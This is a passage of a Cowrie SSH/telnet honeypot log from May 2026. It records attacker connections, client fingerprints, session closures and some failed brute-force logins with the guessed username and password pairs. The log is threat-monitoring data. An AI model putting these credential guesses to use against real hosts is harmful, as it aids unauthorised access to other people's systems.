f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:20.904234Z","src_ip":"175.118.127.138","session":"0f275728383b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:21.196506Z","src_ip":"122.51.73.24","session":"ee6393bf9032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5tA","message":"login attempt [root/1q2w3e4r5tA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:21.660199Z","src_ip":"175.118.127.138","session":"0f275728383b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:22.845672Z","src_ip":"175.118.127.138","session":"0f275728383b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35694,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfe9b447cd20","protocol":"telnet","message":"New connection: 192.119.13.58:35694 (10.17.0.5:23) [session: dfe9b447cd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:23.318190Z"}
{"eventid":"cowrie.session.closed","duration":44.25051808357239,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:24.061569Z","src_ip":"192.119.13.58","session":"1fe6d4192a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27524280548096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:25.042975Z","src_ip":"192.119.13.58","session":"2adb9dd43d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.22510528564453,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:26.560371Z","src_ip":"192.119.13.58","session":"e7e09ed7f274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.8653883934021,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:27.272575Z","src_ip":"192.119.13.58","session":"b4ddc6ec5f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.28503775596619,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:27.606611Z","src_ip":"192.119.13.58","session":"cb103064f83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":52676,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d1d032fe2a","protocol":"ssh","message":"New connection: 109.172.54.111:52676 (10.17.0.5:22) [session: 90d1d032fe2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:30.449010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:30.454642Z","src_ip":"109.172.54.111","session":"90d1d032fe2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:30.559240Z","src_ip":"109.172.54.111","session":"90d1d032fe2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw12","message":"login attempt [root/qazxsw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:30.922787Z","src_ip":"109.172.54.111","session":"90d1d032fe2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.298722982406616,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:30.982770Z","src_ip":"192.119.13.58","session":"23b7ece994a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:32.033523Z","src_ip":"109.172.54.111","session":"90d1d032fe2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40132,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e4a112b0796","protocol":"telnet","message":"New connection: 192.119.13.58:40132 (10.17.0.5:23) [session: 2e4a112b0796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:32.183216Z"}
{"eventid":"cowrie.session.closed","duration":39.52648401260376,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:33.178040Z","src_ip":"192.119.13.58","session":"362826bff87f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.971848249435425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:33.404665Z","src_ip":"192.119.13.58","session":"e9079039c740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.52639842033386,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:36.703804Z","src_ip":"192.119.13.58","session":"e7af740249aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56946,"dst_ip":"10.17.0.5","dst_port":23,"session":"099eda37cb2d","protocol":"telnet","message":"New connection: 192.119.13.58:56946 (10.17.0.5:23) [session: 099eda37cb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:36.894515Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59282,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a86ea6a45a8","protocol":"telnet","message":"New connection: 192.119.13.58:59282 (10.17.0.5:23) [session: 8a86ea6a45a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:37.598838Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d5cfc332261","protocol":"telnet","message":"New connection: 192.119.13.58:60088 (10.17.0.5:23) [session: 5d5cfc332261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:37.822095Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56340,"dst_ip":"10.17.0.5","dst_port":23,"session":"352e18562d73","protocol":"telnet","message":"New connection: 192.119.13.58:56340 (10.17.0.5:23) [session: 352e18562d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:44.905851Z"}
{"eventid":"cowrie.session.closed","duration":38.48630952835083,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:45.687907Z","src_ip":"192.119.13.58","session":"cedb47a26ff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.686518907547,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:46.398905Z","src_ip":"192.119.13.58","session":"77fbef6a4bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.71481776237488,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:47.940644Z","src_ip":"192.119.13.58","session":"163c8f0ac329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47850,"dst_ip":"10.17.0.5","dst_port":23,"session":"28cde72c9d5e","protocol":"telnet","message":"New connection: 192.119.13.58:47850 (10.17.0.5:23) [session: 28cde72c9d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:50.271810Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52112,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab59c7ba8d15","protocol":"telnet","message":"New connection: 192.119.13.58:52112 (10.17.0.5:23) [session: ab59c7ba8d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:51.355145Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59890,"dst_ip":"10.17.0.5","dst_port":22,"session":"dca59d3d0c04","protocol":"ssh","message":"New connection: 176.65.148.108:59890 (10.17.0.5:22) [session: dca59d3d0c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:51.661181Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:51.745895Z","src_ip":"176.65.148.108","session":"dca59d3d0c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59904,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e1b1eb3918","protocol":"ssh","message":"New connection: 176.65.148.108:59904 (10.17.0.5:22) [session: 50e1b1eb3918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:51.824759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:51.830774Z","src_ip":"176.65.148.108","session":"50e1b1eb3918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:51.913668Z","src_ip":"176.65.148.108","session":"50e1b1eb3918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"123456","message":"login attempt [aa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:52.163590Z","src_ip":"176.65.148.108","session":"50e1b1eb3918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:53.248713Z","src_ip":"176.65.148.108","session":"50e1b1eb3918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf3e12e6f02","protocol":"telnet","message":"New connection: 192.119.13.58:46052 (10.17.0.5:23) [session: edf3e12e6f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:57.301332Z"}
{"eventid":"cowrie.session.closed","duration":40.63718104362488,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:01.049967Z","src_ip":"192.119.13.58","session":"00277244fd15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.61834406852722,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:03.936401Z","src_ip":"192.119.13.58","session":"dfe9b447cd20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38612,"dst_ip":"10.17.0.5","dst_port":23,"session":"38772bbe0622","protocol":"telnet","message":"New connection: 192.119.13.58:38612 (10.17.0.5:23) [session: 38772bbe0622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:10.393394Z"}
{"eventid":"cowrie.session.closed","duration":39.1918249130249,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:11.374947Z","src_ip":"192.119.13.58","session":"2e4a112b0796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccdf5b6a536e","protocol":"telnet","message":"New connection: 192.119.13.58:45096 (10.17.0.5:23) [session: ccdf5b6a536e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:12.050317Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a030d1826c33","protocol":"telnet","message":"New connection: 192.119.13.58:50610 (10.17.0.5:23) [session: a030d1826c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:13.414398Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0dba1c369c9","protocol":"telnet","message":"New connection: 192.119.13.58:55824 (10.17.0.5:23) [session: f0dba1c369c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:14.841558Z"}
{"eventid":"cowrie.session.closed","duration":38.62665247917175,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:16.225392Z","src_ip":"192.119.13.58","session":"8a86ea6a45a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35286,"dst_ip":"10.17.0.5","dst_port":23,"session":"34bdcfe8bd53","protocol":"telnet","message":"New connection: 192.119.13.58:35286 (10.17.0.5:23) [session: 34bdcfe8bd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:16.834117Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":56315,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fe1efa9365","protocol":"ssh","message":"New connection: 122.51.73.24:56315 (10.17.0.5:22) [session: 69fe1efa9365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:17.275098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:17.280356Z","src_ip":"122.51.73.24","session":"69fe1efa9365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:18.345917Z","src_ip":"122.51.73.24","session":"69fe1efa9365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.92504525184631,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:18.747027Z","src_ip":"192.119.13.58","session":"5d5cfc332261","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123!@#","message":"login attempt [root/zxc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:19.048991Z","src_ip":"122.51.73.24","session":"69fe1efa9365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b1f96bde70","protocol":"telnet","message":"New connection: 192.119.13.58:48054 (10.17.0.5:23) [session: 77b1f96bde70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:20.003618Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:20.290420Z","src_ip":"122.51.73.24","session":"69fe1efa9365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52980,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8096ec90729","protocol":"telnet","message":"New connection: 192.119.13.58:52980 (10.17.0.5:23) [session: a8096ec90729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:22.194605Z"}
{"eventid":"cowrie.session.closed","duration":45.47899150848389,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:22.373192Z","src_ip":"192.119.13.58","session":"099eda37cb2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26659083366394,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:24.172319Z","src_ip":"192.119.13.58","session":"352e18562d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40120,"dst_ip":"10.17.0.5","dst_port":23,"session":"894515f15cd5","protocol":"telnet","message":"New connection: 192.119.13.58:40120 (10.17.0.5:23) [session: 894515f15cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:24.884848Z"}
{"eventid":"cowrie.session.closed","duration":5.775069236755371,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:25.778541Z","src_ip":"192.119.13.58","session":"77b1f96bde70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54626,"dst_ip":"10.17.0.5","dst_port":23,"session":"d695527edaa4","protocol":"telnet","message":"New connection: 192.119.13.58:54626 (10.17.0.5:23) [session: d695527edaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:28.327024Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34910,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bba4c74095a","protocol":"telnet","message":"New connection: 192.119.13.58:34910 (10.17.0.5:23) [session: 9bba4c74095a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:31.538377Z"}
{"eventid":"cowrie.session.closed","duration":41.98152709007263,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:32.253250Z","src_ip":"192.119.13.58","session":"28cde72c9d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.053550243377686,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:34.408631Z","src_ip":"192.119.13.58","session":"ab59c7ba8d15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50024,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b37c07d702","protocol":"telnet","message":"New connection: 192.119.13.58:50024 (10.17.0.5:23) [session: 90b37c07d702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:34.456869Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba303155a4b","protocol":"telnet","message":"New connection: 192.119.13.58:50874 (10.17.0.5:23) [session: dba303155a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:34.654543Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":44794,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3c4d69dbc31","protocol":"ssh","message":"New connection: 150.109.25.130:44794 (159.203.135.109:22) [session: d3c4d69dbc31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:36.468705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:28:36.473793Z","src_ip":"150.109.25.130","session":"d3c4d69dbc31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sh